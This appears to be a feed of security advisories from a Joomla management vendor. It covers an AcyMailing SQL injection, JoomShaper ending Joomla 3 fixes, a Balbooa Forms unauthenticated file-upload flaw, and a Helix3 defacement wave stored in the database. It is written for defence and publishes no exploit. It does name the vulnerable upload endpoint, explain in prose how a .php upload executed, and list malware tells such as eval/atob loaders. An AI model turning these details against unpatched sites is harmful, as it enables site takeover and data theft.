The vendor has not published a CVSS score. Scoring it ourselves against CVSS 4.0, the vulnerability rates 8.7, High. The vector is AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N: reachable over the network, low complexity, no privileges and no user interaction, with high impact to the confidentiality of the site's data. It is not a 10.0 like the recent Balbooa Forms and Page Builder CK file-upload flaws, and the reason is worth understanding: this is a read-only injection, so it scores maximum on confidentiality but nothing on integrity or availability. An attacker can read your entire database, but this specific flaw does not let them write to it or take the site down. High, not critical, is the honest rating, and it is still an emergency when what leaks is every user record and password hash.

8.7 CVSS 4.0

High Our own assessment, pending the official vector

No login needed Exploitable over the internet No user interaction Full database read Password hashes exposed

Field	Detail
CVE	CVE-2026-56292
Component	AcyMailing for Joomla (`com_acym`) and AcyMailing for WordPress (`acymailing` plugin)
Vendor	Acyba (acymailing.com)
Type	Unauthenticated SQL injection (CWE-89)
CVSS 4.0	8.7 (high), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` (our own assessment)
Impact	Anonymous read access to any database table, including user accounts and password hashes
Finder	Phil Taylor, mySites.guru
Affected versions	6.0.0 up to and including 10.11.0, on both Joomla and WordPress
Fixed in	10.11.1, released 9 July 2026

The disclosure ran on a fast cycle from discovery to fix:

Date	Event
Early July 2026	During routine security research on the extensions our customers rely on, mySites.guru identifies the unauthenticated SQL injection in AcyMailing, confirms it against the code, and builds a working proof of concept on a local install that reads a Super Admin password hash back out of the database. We disclose it privately to Acyba and withhold all public detail.
9 July 2026	Acyba releases AcyMailing 10.11.1 for both Joomla and WordPress, closing the vulnerability. mySites.guru adds the affected range to its Joomla and WordPress vulnerability databases and publishes this write-up. No proof of concept is released. The Joomla CNA assigns CVE-2026-56292, crediting mySites.guru.

JoomShaper Ends Joomla 3 Security Fixes

phil@mysites.guru (Phil Taylor) — Thu, 09 Jul 2026 00:00:00 GMT

Update, 15 July 2026: JoomShaper has reversed this

Six days after the announcement below, JoomShaper released Joomla 3 security patches for Helix Ultimate, Helix3 and SP Page Builder. The "no security patches, regardless of severity" line no longer holds. The rest of the policy does: no new features, no bug fixes, no technical support, and Joomla 3 remains end of life. We read the patch code, and there is a version gate that stops it installing on older Helix builds. Read our breakdown of what is in the patches. The article below stands as written on 9 July.

JoomShaper, the developer behind SP Page Builder and the Helix framework, has stopped supporting Joomla 3. In an announcement on 9 July 2026 the company confirmed that the Joomla 3 versions of all its products now get no updates, and one line stands out: "No security patches, regardless of severity." On the company's stated policy, a critical flaw in the Joomla 3 build of SP Page Builder tomorrow does not get fixed.

That is a defensible decision, and JoomShaper explains it well: they can secure their own code, but "we can't secure the Joomla core underneath it," and the Joomla 3 core has been end of life for a long time. The problem is not the decision. The problem is how many live sites this leaves exposed, and how recently JoomShaper's own extensions have produced exactly the kind of flaw this policy now leaves unpatched.

“No security patches, regardless of severity.”

JoomShaper, on Joomla 3 support, 9 July 2026

What JoomShaper Actually Announced

JoomShaper has ended support for the Joomla 3 versions of every product it makes. That covers SP Page Builder, the Helix framework (both Helix Ultimate and the older Helix3), EasyStore, Power Admin, and its Joomla templates. The Joomla 4, 5, and 6 builds of these products are unaffected and still supported. Only the Joomla 3 versions are frozen.

The policy is blunt on purpose. No feature updates, no compatibility fixes, and no security patches "regardless of severity" for the Joomla 3 builds. JoomShaper's stated reasoning is that patching its own extension does nothing when the platform beneath it, the Joomla 3 core, no longer receives fixes either. That is true, and it is the honest position. It also means a Joomla 3 site running these extensions now has two unpatched layers instead of one.

One clarification worth making, because it gets muddled: Gantry is not a JoomShaper product. Gantry is a RocketTheme framework, and this announcement does not touch it. If you run Gantry-based templates, this specific news is not about you, though the wider Joomla 3 end-of-life problem still is.

Why This Is Worse Than a Normal End-of-Life Notice

Here is the editorial connection JoomShaper did not make, and it is ours, not theirs. Following a disastrous month of security issues for their products, they are freezing Joomla 3 support just as the risk to those products is at its most visible. SP Page Builder had a critical remote code execution flaw exploited in the wild, and the Helix framework produced two more serious issues in the same window. Now the Joomla 3 builds of exactly those products get no more fixes.

In June 2026, SP Page Builder had an unauthenticated file upload vulnerability, CVE-2026-48908, scored CVSS 10.0, the maximum. It let anyone on the internet upload and run a file with no login, and it was used in the wild to plant hidden Joomla Super User accounts. JoomShaper fixed it promptly in version 6.6.2. That fix reached Joomla 4, 5, and 6 sites. Under the policy announced this week, the equivalent fix for a Joomla 3 site would not exist.

This is not hypothetical. SP Page Builder and Helix are among the most widely installed Joomla extensions in the world, precisely the kind of large, front-facing code that keeps producing this class of bug. A vulnerability of the same severity will turn up again. On the policy as announced, Joomla 3 sites would be on their own when it does. JoomShaper has since patched Joomla 3 once, on 15 July, without committing to do it again.

How Many Sites Does This Affect?

More than half of all live Joomla sites. According to W3Techs, as of July 2026 Joomla 3 still accounts for 54.3 percent of every Joomla site online, the single largest share by version. Joomla 5 sits at around 20 percent, Joomla 4 under 10, and Joomla 6 is still in the single digits.

That number is the whole story. This is not a niche announcement affecting a handful of legacy holdouts. It is a policy change that applies to the majority of the Joomla web, most of which also runs SP Page Builder or Helix because those are the tools people built Joomla 3 sites with in the first place. If you manage Joomla sites for clients, the odds are high that some of them fall in exactly this gap.

How Do I Find Every Joomla 3 Site I Manage?

The first job is knowing your exposure, and doing it by hand does not scale. Logging into each site to check its Joomla version and installed extensions is fine for three sites and impossible for thirty. You need one screen that shows every site, its Joomla version, and which JoomShaper extensions each one runs.

mySites.guru keeps a live inventory of every Joomla and WordPress site in your account, with the core version and the full extension list for each. You can filter for Joomla 3 sites in seconds, then cross-reference which of them run SP Page Builder or Helix, so you know which sites are in the danger zone rather than guessing. It also flags end-of-life versions automatically, so an unsupported core shows up as a warning without you going looking for it.

Find your Joomla 3 exposure in one place

Open your Extension Inventory

Filter for Joomla 3 sites and search for SP Page Builder or Helix to see which sites are exposed. Not a subscriber? Sign up free and connect your sites.

Can I Keep a Joomla 3 Site Patched While I Migrate?

Yes, as a stopgap for the core, but not forever and not for the extensions. There are two separate holes to think about: the Joomla 3 core, and the vendor extensions on top of it.

For the core, mySites.guru can apply the Joomla 3.10.999 project's backported security patches with a single toggle. That project quietly backported the critical fixes that shipped in Joomla 4 to end-of-life Joomla 3 sites, so a site with the toggle on has the known core holes closed. It is the closest thing to keeping an unsupported core safe, and it does not need an eLTS subscription or any manual file edits.

Patch every known Joomla 3 core issue in one click

mySites.guru applies the backported Joomla 3.10.999 security patches across all your Joomla 3 sites from one screen. It buys you time to migrate. See how the one-click Joomla 3 fix works.

For the extensions, the position changed on 15 July: JoomShaper released Joomla 3 security patches for SP Page Builder, Helix3 and Helix Ultimate after all. Apply the vendor patch where it installs, and check your Helix version first, because the Helix Ultimate package refuses anything below 2.1.0. mySites.guru also backports the same fix logic into the Joomla 3 builds as an in-place guard, applied across every site in your account from one toggle rather than site by site. Either way it is a stopgap, not a solution: closing the door on the flaws we already know about does not make an end-of-life extension supported again. Keeping a Joomla 3 site patched and guarded is sensible while you plan the move; leaving it on SP Page Builder indefinitely is not.

The Real Fix Is Migration

Patching is a holding pattern. The actual answer to an end-of-life core and an end-of-life vendor policy is to get off Joomla 3, and the supported targets are Joomla 5 and Joomla 6. Note that Joomla 4 is not a safe destination either: its own security support ended in October 2025, so migrating from 3 to 4 would land you on another unsupported line. Aim for 5 or 6 directly.

Migration is real work, and the honest framing is that it takes planning rather than a click. The part that trips agencies up is keeping sites connected to their management tooling through the version jump. mySites.guru's connector handles that, so a site stays monitored and backed up right through the migration rather than dropping off your dashboard mid-move. The migration walkthrough covers the connector swap step by step.

Before you touch anything, take a full backup, and ideally test the migration on a staging copy first. A Joomla 3 site with SP Page Builder content has a lot of layout data that needs to survive the jump, and you want to find any problems on a copy, not on the live site.

This Is Part of a Wider Pattern in Joomla Extensions

JoomShaper freezing Joomla 3 is not an isolated event. It sits inside a run of critical Joomla extension flaws we have documented over recent weeks, and the common thread is unauthenticated file uploads leading to remote code execution. The same class of bug turned up in PageBuilder CK, iCagenda, and Balbooa Forms, and JoomShaper's own Helix framework had a critical fix shipped quietly as a plain "Security Update" that then fed a defacement wave stored in the database, alongside a separate unauthenticated menu write in Helix Ultimate.

The lesson for anyone running Joomla at scale is that the extension layer is where the attacks land, and a Joomla 3 site now carries that risk with no vendor safety net on either the core or the biggest extensions. That is why the version you run matters as much as the extensions you install.

The Bottom Line

JoomShaper has done the responsible thing by being clear rather than quietly letting Joomla 3 support rot, and "no security patches, regardless of severity" is at least honest. But it applies to more than half the Joomla web, weeks after their own SP Page Builder had a CVSS 10.0 flaw exploited in the wild. Six days later the company patched Joomla 3 anyway, which is the right outcome and worth saying plainly, though it arrived after a week of telling people no fix was coming. If you manage Joomla sites, find every Joomla 3 install you look after, confirm which run SP Page Builder or Helix, apply the vendor patch where it installs, keep the core patched as a stopgap, and move the priority sites to Joomla 5 or 6. Start with a free audit on one site to see what your Joomla 3 exposure actually looks like.

Balbooa Forms Fixes an Unauthenticated File Upload RCE

phil@mysites.guru (Phil Taylor) — Wed, 08 Jul 2026 00:00:00 GMT

Balbooa Forms is a popular drag-and-drop form builder for Joomla, installed as the com_baforms component and used for contact, registration, and survey forms on thousands of sites. Up to and including version 2.4.0, its frontend attachment upload had a serious flaw: it accepted a file from any anonymous visitor, with no login, no CSRF token, and no check on the file type. An attacker could upload a .php file into a public folder and then run it, which is unauthenticated remote code execution, the worst outcome a web flaw can have. This was a zero-day: it was already being exploited in the wild when we found it, before any patch existed, and those attacks are still going on now against sites that have not updated.

Balbooa fixed it in version 2.4.1, released on 9 July 2026. Do not stop at 2.4.1. Three more security releases have followed it, the most recent on 18 August 2026, and the minimum safe version is now 2.4.3.2. See the update note directly below. This post explains what the original flaw was, how it surfaced, what the fix does, and how to check whether any of your sites were touched, without publishing anything an attacker could copy.

Update: 2.4.1 is no longer enough. Go to 2.4.3.2

On 28 July 2026 Balbooa released 2.4.3, fixing CVE-2026-65880, a second unauthenticated remote code execution flaw scored CVSS 10.0. It is triggered through the Signature field type and is a completely different bug from the upload flaw described in this post. The CVE record lists every version up to and including 2.4.2.1 as affected, so 2.4.1 and 2.4.2 are both vulnerable. Anyone who applied the emergency 2.4.1 update on 9 July and stopped there stayed remotely exploitable for another 19 days. Two further security releases have shipped since, 2.4.3.1 on 31 July and 2.4.3.2 on 18 August, so the current minimum is 2.4.3.2. Update every Balbooa Forms install without waiting for a maintenance window, then check each site for stray PHP files and unexpected admin accounts, because a site could already have been hit by either flaw.

TL;DR

TL;DR: The frontend upload in Balbooa Forms (com_baforms) up to and including 2.4.0 (fixed in 2.4.1) accepted a file from anyone with no authentication, no CSRF token, and no allow-list on the file extension. Because it trusted the caller's filename, a .php upload landed in a public directory and could be executed, which is unauthenticated remote code execution (CWE-434). This is a zero-day that was, and still is, being actively exploited in the wild: it came to light through a Hetzner abuse report that a mySites.guru customer brought to us as a raw access log, evidence of a live attack, and there was no patch at that point. We diagnosed it, disclosed it privately to Balbooa, and they responded the same day and shipped the fix in 2.4.1 within a day, crediting Phil Taylor as the reporter. It is tracked as CVE-2026-56291. No proof of concept has been made public. Since then a second, unrelated unauthenticated RCE (CVE-2026-65880, CVSS 10.0, via the Signature field) has been found and fixed in 2.4.3, and it affected 2.4.1 and 2.4.2 as well, followed by two more security releases, 2.4.3.1 and 2.4.3.2, so update every Balbooa Forms install to 2.4.3.2 immediately, then check exposed sites for stray files and unexpected admin accounts. If you manage more than a handful of Joomla sites, mySites.guru lists every Balbooa Forms install in your account in seconds and pushes the update.

How This One Was Found

Most vulnerability posts start with a CVE and work backwards. This one started with a log line.

A customer received an abuse report from Hetzner, the hosting company, about suspicious activity on one of their Joomla sites. Rather than guess at it or panic, they did the right thing: they brought us the raw web server access log and asked us to look. Credit to Hetzner for catching the activity and flagging it, and to the customer for bringing evidence instead of a hunch. A single log line is worth more than a page of speculation.

That log showed a POST request to the Balbooa Forms upload handler that had no business succeeding the way it did. We traced the request back through the extension's code, confirmed that the frontend upload accepted files with no authentication and no restriction on type, and reproduced the whole chain end to end on a local Joomla install within the hour. From there it was a private email to Balbooa, who replied the same day and shipped the fix in version 2.4.1 the next day, on 9 July 2026, crediting Phil Taylor as the reporter. The flaw is now tracked as CVE-2026-56291.

This is what responsible disclosure looks like

Found through a real abuse report, confirmed in the code, reported privately, and fixed by the vendor within a day, all before any technical detail was published. No exploit has been released. The reason to write about it is to get sites updated, not to show anyone how it worked.

What Was Actually Wrong in Balbooa Forms?

The flaw was an unauthenticated file upload with no file-type allow-list. The Balbooa Forms upload endpoint runs for any visitor, logged in or not, and before the fix it did three things wrong at once: it required no login, it checked no CSRF token, and it worked out the file extension from the name the visitor supplied and used it as-is. Joomla's built-in filename cleaner strips dangerous characters, but it does not block a .php extension, so a file named shell.php stayed shell.php.

Put those together and an anonymous request could write an attacker-controlled .php file into the extension's upload folder, which by default sits under images/baforms/uploads/ inside the web root. Because that folder is served directly and has nothing stopping PHP from running in it, requesting the uploaded file in a browser executed it. Upload becomes code execution, and no account on the site is needed at any point.

Root Cause, In the Code

For the developers among you, here is the mechanism without the exploit. The request enters through a single front-end task, index.php?option=com_baforms&task=form.uploadAttachmentFile. In 2.4.0 the controller that handles it ran no authentication check and no Session::checkToken() call, so the task was reachable by any anonymous visitor and accepted a raw file straight from the request.

The controller passed that file to the model's write routine (FormModel::uploadAttachmentFile, around line 122 in the front-end FormModel.php). That routine is where the real problem sat. It worked the file extension out from the attacker-supplied filename, sanitised only the name portion with Joomla's File::makeSafe(), and then re-attached the original extension verbatim before writing the file. In effect:

the extension is taken from the caller's filename, so shell.php yields php;
File::makeSafe() cleans the name but does not reject a .php extension;
the cleaned name and the untouched extension are joined back together ($fileName = $name . '.' . $ext);
the file is written under images/baforms/uploads/form-<id>/, a directory inside the web root that serves and executes PHP.

There was no allow-list checking the extension against the file types the form is actually meant to accept. That single missing check is the whole vulnerability. With no login, no token, and no allow-list standing in the way, an anonymous upload of a .php file became code running on the server. We are deliberately not publishing the request body that ties these together, but the shape of the bug is the same one this class of extension keeps producing.

Why an Upload Flaw Is as Bad as It Gets

An unauthenticated upload that lands executable code is the top of the severity scale, and it is worth being clear about why. Once an attacker can run PHP of their choosing on your server, they are no longer limited to your site. They can read your configuration.php and the database credentials in it, create a hidden Joomla Super User, plant a backdoor that survives a plugin update, pivot to other sites in the same hosting account, or add the server to a spam or malware network. The uploaded file is rarely the goal in itself; it is the foothold.

This is the same lesson as the AJAX endpoints blind spot we keep coming back to. An endpoint that Joomla will run for anonymous visitors is exposed to the entire internet, so every input it touches has to be treated as hostile. A single allow-list check, "is this file one of the types this form is allowed to accept", would have stopped this outright.

What the 2.4.1 Fix Does

Balbooa's fix is a good one, and it closes the flaw at more than one layer, which is exactly what you want. Version 2.4.1 makes four changes to the frontend upload:

It now validates the file extension on the server against each Upload File field's own configuration, so a .php upload to a field that only accepts images is refused.
It adds a MIME Types option to the Upload File field, so a form can also require the file's real content type to match, not just its name.
It generates the stored filename on the server instead of trusting the one the visitor sent. Even a file that gets through as an allowed type is saved under a name the attacker cannot predict, which defeats the classic double-extension trick.
It adds a CSRF token check to the upload request, so the handler no longer runs for a request that did not come from a real form on the site.

We verified all four against the released package. On 2.4.0, an anonymous request with no token uploaded a .php file and ran it. On 2.4.1 the same request is rejected outright, and even a request carrying a valid token cannot land executable code, because the extension allow-list and the forced filename both stand in the way. The fix holds.

There is one thing worth flagging for anyone who reads vendor changelogs to decide what to update. Balbooa's 2.4.1 changelog lists these four items under a plain "Fixed" heading, with no mention that they close an actively exploited remote code execution flaw. That is not unusual, and it is not a criticism, but it is a trap. If you triage updates by whether the changelog says "security", this one reads like routine housekeeping, and you would leave it sitting in the queue while the door stays open. It is the same pattern we saw with the Helix3 "Security Update" changelog: the words in the changelog are a poor guide to how urgent an update really is.

Worth adding: Balbooa did update the changelog, but at the time of writing there is no post on the Balbooa Forms blog about this security issue at all. So the only public signal that 2.4.1 matters is four terse lines under a "Fixed" heading, with nothing anywhere that tells a site owner this closes an actively exploited remote code execution flaw. If you are waiting for a vendor announcement before you update, there is not one to wait for.

Four Security Releases in Six Weeks

The release described above was the first of four. No single vendor page lists them together, so here is the run:

Date	Release	What it addressed	CVE
9 July 2026	Forms 2.4.1	The unauthenticated file upload described in this post	CVE-2026-56291
28 July 2026	Forms 2.4.3	Unauthenticated remote code execution via the Signature field	CVE-2026-65880
31 July 2026	Forms 2.4.3.1	"Security hardening", stated as administrator area only	None assigned
18 August 2026	Forms 2.4.3.2 and Gallery 2.5.1.1	"Security hardening", stated as administrative and user-facing	None assigned

The 18 August release covers five areas in the Balbooa Forms Joomla extension: authorization and access control in the Media Manager, path validation for internal file operations, payment validation so transaction amounts are verified during payment processing, parameter handling in post-submission PHP scripts, and validation of signature images. Balbooa Gallery 2.5.1.1 shipped the same day with the first two of those.

Neither release was ours. Balbooa credit Akinlabi Omoogun and Sergiy Tryzhychynskyi for reporting them, and neither name appears anywhere in our own disclosure record. No CVE has been assigned to either so far, which does not mean none will be.

What "Security Hardening" Leaves You Unable to Work Out

Balbooa published no affected version range, no severity, no CVSS score, and state the release is not related to any publicly disclosed vulnerability. That is the vendor's call to make. The practical problem is that it leaves the person responsible for the site with no way to answer the only question that matters, which is whether their particular install was exposed and for how long.

Three details in the release notes are worth reading closely, and none of them need a proof of concept to spot.

The 31 July release said its improvements "are limited to the Forms administrator area and require administrator access". The 18 August release drops that sentence and describes itself as covering "administrative and user-facing functionality". Payment processing and post-submission scripts both run when an anonymous visitor submits a form, not when an administrator logs in.

Payment validation that ensures "transaction amounts are consistently verified" is the description of a fix for amounts not being verified. On a form that takes money, the question that raises is who decides the price.

Signature image validation is the third time in six weeks that the Signature field has been touched, and the second time for a security reason. The first was CVE-2026-65880, scored 10.0.

We have not audited the difference between 2.4.3.1 and 2.4.3.2, so we are not calling any of this exploitable, and none of the above is a finding. It is what the vendor's own release notes say, read closely.

The Same Fixes Appeared in Gridbox First

The Media Manager and File System Protection rows in the 18 August release are word for word identical to the equivalent rows in Gridbox 2.20.2.3, published on 10 August. Balbooa's Media Manager is shared across the product range, so this reads as one piece of code being fixed in three products across eight days rather than three separate faults. If you run more than one Balbooa Joomla extension, treat a security release in any of them as a prompt to check the others.

That matters here because Gridbox is the extension where a mySites.guru audit found twenty-three vulnerabilities, on top of the earlier authentication bypass.

What This Looks Like Across the Sites We Manage

Which sites are behind turns out to be more revealing than how many.

Across the Balbooa Forms installs we can see, around four in five are sitting on 2.4.3.1. Those are the diligent ones. They read the 31 July notice, updated inside a few days, and are now being asked to do it again eighteen days later. Under one in a hundred is on 2.4.3.2 so far.

More seriously, roughly one install in six is still on 2.4.2.1 or below, which means still exposed to CVE-2026-65880, the 10.0 unauthenticated remote code execution fixed on 28 July. Those sites never actioned the last alert. Hardening is the least of their worries while a 10.0 remains open on them.

For Balbooa Gallery, the wrinkle is the extension element. Balbooa renamed it from com_bagallery to com_gallery somewhere before the 2.5 line, and the two populations have not merged: every com_gallery install we can see is on 2.4.1 or above, and every com_bagallery install tops out at 2.4.0. If your Gallery install still reports com_bagallery, confirm you are actually being offered the 2.5.1.1 update rather than assuming it, because an element rename is exactly the kind of thing that stops a Joomla update ever being offered, with no error to tell you so.

Flagging all of this across a portfolio is part of the mySites.guru subscription: every connected Joomla site running Balbooa Forms below 2.4.3.2 or Balbooa Gallery below 2.5.1.1 is now flagged automatically, with the sites still exposed to the July remote code execution flagged separately and more severely.

Balbooa Forms Has Had Security Issues Before

This is not the first time Balbooa Forms has needed a security fix, which is worth knowing when you decide how urgently to act. The component has two prior SQL injection issues on record, CVE-2021-47930 and CVE-2025-49485, both reached through the form submission id parameter. Different flaw, same lesson: the parts of a form builder that face anonymous visitors are the parts that need the hardest scrutiny.

That is not a knock on Balbooa specifically. It is the nature of the tool. A form builder exists to accept input from people you do not know, and that job is genuinely hard to do safely. The credit here is that when the upload flaw was reported, Balbooa acted on the same day rather than sitting on it.

Form Builders Are a Recurring Attack Surface

If you manage Joomla or WordPress sites, treat every form-builder extension as a piece of your attack surface that deserves regular attention. The exact flaw fixed here, an unauthenticated file upload of a dangerous type, is CWE-434, and it shows up across the form-builder category rather than in one vendor's code.

The clearest recent parallel is Convert Forms, another well-regarded Joomla form builder, which patched an unauthenticated file upload of the same class in late 2024 (CVE-2024-40744, rated 9.8 critical). Look wider and the pattern holds: Ninja Forms on WordPress had its own file-upload CVE through the same AJAX-handler weakness. When a category of extension keeps producing the same kind of bug, the sensible response is not to distrust one vendor, it is to monitor the whole category.

How mySites.guru Caught This Without a Signature

If you already run sites through mySites.guru, this is the part worth knowing. We did not need a Balbooa-specific rule to catch this activity. mySites.guru watches for the behaviour, an anonymous visitor uploading an executable file, rather than a fingerprint of one particular extension's bug.

That generic detection is what flagged the suspicious upload in the first place, and it is the same logic that catches iCagenda, Page Builder CK, and JCE upload attempts. An attacker dropping a .php file through a public form looks the same regardless of which extension left the door open, so we can catch new bugs of this shape before anyone has written a rule naming them. Signature-based tools only see an attack once someone has described it. Behaviour-based detection sees it the first time it happens.

If a hostile file does land, the suspect content tool and the backdoor and hacked-file detection find it across every connected site, matching it against known malware hashes and thousands of code patterns. Anything flagged can be sent for AI-powered malware analysis that explains in plain English what the file does.

How Do I Find Every Balbooa Forms Site I Manage?

mySites.guru keeps a live inventory of every extension, template, and framework on every Joomla and WordPress site in your account. You search for Balbooa Forms once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.

View every Balbooa Forms install across your sites

Open your Extension Inventory

Search for Balbooa Forms across every connected Joomla site and filter for anything on 2.4.0 or earlier to find the installs that still need updating. Not a subscriber? Sign up free and connect your sites.

Across the Joomla sites we monitor, the same thing is true of Balbooa Forms as of most extensions after a quiet security release: a lot of installs are running older versions and nobody has updated yet. That gap between "a fix exists" and "my sites have it" is the whole reason this post exists.

Bulk Updating Balbooa Forms Across Every Site

Once you know which sites need it, the mass updater handles the rollout. Tick the sites on an old version, push the update to all of them from one screen. The same routine covers any Joomla extension, plugin, or core update, so the workflow you set up once works for the next security release too. You can also switch on automatic updates for any Joomla extension so future Balbooa Forms releases land without you lifting a finger.

For agencies managing dozens of Joomla sites

The patch is the easy bit. Knowing which client sites run Balbooa Forms, and getting the update onto all of them, is the work. See how mySites.guru manages multiple Joomla sites from one screen.

If a particular site cannot be updated right away, unpublishing any public Balbooa Forms form that accepts file attachments takes the vulnerable upload handler out of reach while you schedule a maintenance window.

How Do I Check a Balbooa Forms Site for Tampering?

Updating closes the door. It does not tell you whether anyone walked through it first. Because the flaw allowed an anonymous visitor to drop a file and run it, a site that was on 2.4.0 or earlier could already have been touched, and you should check before you assume it is clean.

Three checks, in order of value:

Look in the upload folder. By default Balbooa Forms stores attachments under images/baforms/uploads/, in a subfolder per form. Anything there that is not an image or a document, and above all anything ending in .php, is a red flag. On a single site you can run find images/baforms/uploads -name '*.php' -type f over SSH.
Check for rogue administrator accounts. Code execution is a fast route to a hidden Super User. In your Joomla Users list, sort by registration date and treat any administrator account you do not recognise as suspect.
Hunt for modified and unfamiliar files. A foothold is a perfect moment to plant persistence elsewhere. Look for recently changed PHP files and for executable files sitting where uploads should not contain code.

Stay Ahead of the Next One

This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, and doing that for every extension across every site you look after.

That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this Balbooa Forms flaw lands, you see exactly which sites are exposed in seconds instead of logging into forty admin panels to find out. And because the monitoring watches for the behaviour rather than a signature, it catches new upload attacks of this shape before anyone has written a rule naming them.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

CVE Record and Disclosure Timeline

10.0 CVSS 4.0

Critical The maximum possible score

There is no worse rating a vulnerability can get. It is unauthenticated, remotely exploitable in a single request, needs no user interaction, and ends in full remote code execution, so every metric that makes a flaw dangerous is at its worst here.

No login needed Exploitable over the internet No user interaction Full remote code execution Actively exploited

This flaw is now tracked as CVE-2026-56291, assigned by the Joomla CNA, the body that assigns identifiers for Joomla and its extensions, and crediting Phil Taylor of mySites.guru as the reporter. It is CWE-434, unrestricted upload of a file with a dangerous type, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction, and it ends in full remote code execution. On CVSS 4.0 that profile scores 10.0, the maximum, the same score and the same vector as the near-identical Page Builder CK flaw (CVE-2026-56290), the CVE assigned one number earlier for the same class of bug.

Field	Detail
CVE	CVE-2026-56291
Component	Balbooa Forms (`com_baforms`)
Vendor	Balbooa
Type	Unauthenticated arbitrary file upload to remote code execution
CVSS 4.0	10.0 (critical), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`
CWE	CWE-434 (Unrestricted Upload of File with Dangerous Type)
Finder	Phil Taylor, mySites.guru
Affected versions	Up to and including 2.4.0
Fixed in	2.4.1, released 9 July 2026. Minimum safe version is now 2.4.3.2 (18 August 2026), after 2.4.3 fixed a second, unrelated unauthenticated RCE, CVE-2026-65880, that affected 2.4.1 and 2.4.2, and 2.4.3.1 and 2.4.3.2 added further security hardening

The disclosure ran on a single-day cycle from evidence to fix:

Date Event

8 July 2026 A mySites.guru customer receives a Hetzner abuse report for a live Joomla site and brings us the raw access log. We trace the POST to the Balbooa Forms upload handler, confirm the missing authentication and file-type checks in the code, and reproduce the full chain on a local Joomla install. The flaw is already being exploited in the wild. We disclose it privately to Balbooa the same day, and the vendor responds the same day.

9 July 2026 Balbooa ships version 2.4.1, closing the flaw at four layers (server-side extension allow-list, MIME type option, forced server-side filenames, and a CSRF token check), crediting Phil Taylor as the reporter. The Joomla CNA assigns CVE-2026-56291. No proof of concept is published.

The Helix3 Defacement Lives in Your Database, Not Your Files

phil@mysites.guru (Phil Taylor) — Wed, 08 Jul 2026 00:00:00 GMT

A Joomla site you manage shows a full-screen skull and the words "Hacked by AntonKill". You do the obvious thing: run a malware scan, pull the files over SFTP, maybe grep the whole web root for anything suspicious. It all comes back clean. The files are fine. The skull is still there.

You are not missing anything. The defacement is not in your files. It is in your database.

Since around 5 July 2026, an automated botnet has been defacing Joomla sites through JoomShaper's Helix3 template framework, tagging them "Hacked by AntonKill" or "Hacked by trenggalek6etar". The flaw it exploits, CVE-2026-49049, was one we reported and JoomShaper patched in Helix3 3.1.1 on 29 June. The mass exploitation started about a week later, which is the pattern we see over and over: a fix ships, most sites do not apply it, and the window between public patch and public botnet is measured in days.

TL;DR

TL;DR: The "Hacked by AntonKill" defacement wave exploits an unauthenticated flaw in the Helix3 framework (CVE-2026-49049) and injects code into the Joomla database, specifically the params of your template style, not into a file. That is why on-disk malware scans and clean-file restores come back clean while the site is still defaced. mySites.guru's Helix3 Custom Code Hack tool finds the injected code in every template style and blanks it in one click, then you update both Helix3 plugins to 3.1.2 to stop it coming back. If you would rather do it by hand, the manual steps are further down. And because the same flaw can plant a silent Web3 wallet drainer instead of a visible skull, a clean-looking site is not proof you were missed.

Why Your File Scan Came Back Clean

The malicious code is stored in the Joomla database, not on the filesystem. When the attack succeeds, it writes JavaScript into the params column of the #__template_styles table, inside the Helix3 template's Custom Code fields: Custom JavaScript, Custom CSS, and "Before </head>". Every page that loads that template style then renders the attacker's script, which paints the skull over your content.

This is the whole reason the standard cleanup playbook fails here. File-integrity monitoring compares files on disk. On-disk malware scanners read files on disk. A clean-file restore replaces files on disk. None of them look at a params column in a database table, so all three tell you the site is clean while the defacement is served on every page load. As the German cleanup firm that documented this wave put it plainly, "the malicious code does not end up in a file, but directly in the database."

If you have ever spent an hour re-uploading core files to a defaced Joomla site and watched the defacement survive, this is why. You were cleaning the wrong layer.

The Version You Cannot See Is Worse

The skull at least tells you something is wrong. The more dangerous use of the same flaw does not deface anything. Instead of a full-page takeover, the attacker writes a stealth loader into those same custom-code fields: a small script that leaves your page looking completely normal while it pulls its real payload at runtime. In this wave that payload has been fake "I'm not a robot" landing pages and Web3 wallet drainers that empty a visitor's crypto wallet when they connect it.

That box is the bait. It looks like the reCAPTCHA challenge people click through without thinking, but the click triggers the next stage of the attack rather than verifying anything. So a clean-looking homepage is not proof you were skipped. If a site runs Helix3 on a vulnerable version, the custom-code fields need checking whether or not a skull ever appeared.

Clean It in One Click With the Helix3 Custom Code Hack Tool

We built a dedicated tool for exactly this attack, and it is the fastest way to clean a site. On every snapshot, mySites.guru scans every template style on the site, not only the ones named "helix", since Helix3-based templates ship under many names, and inspects the four custom-code fields the exploit overwrites: Before </head>, Before </body>, Custom CSS, and Custom JavaScript.

A style is only flagged on unmistakable malware tells: the boast phrase a defacement signs itself with, a script that replaces the page body or rewrites the page title, a hard-coded title tag injected into the head, or the loader fingerprints that give away the silent variant (a script sourced from an inline data: URI, code run through eval or atob, or an on-chain blockchain call). Your own analytics snippets, meta tags, and custom CSS in those fields are left alone.

When it finds something, one clean button blanks all four custom-code fields on every flagged style, re-verified server-side first, and touches nothing else in the template. When the site is clear, you get a plain result rather than a wall of noise.

Cleaning without patching just leaves the door open, so pair the clean with the update: bring both Helix3 plugins to 3.1.2 or newer and clear the Joomla cache. You reach the tool from any flagged site's snapshot, under the "Hacked?" checks, alongside the Rogue Super Admin Accounts and JCE Rogue Profiles tools. If you are not a subscriber yet, run a free security audit on one site and the snapshot will flag it there. Not sure the whole site is clean afterwards? Hand it to us and we will fix it for a fixed fee.

How to Find the AntonKill Payload in Joomla by Hand

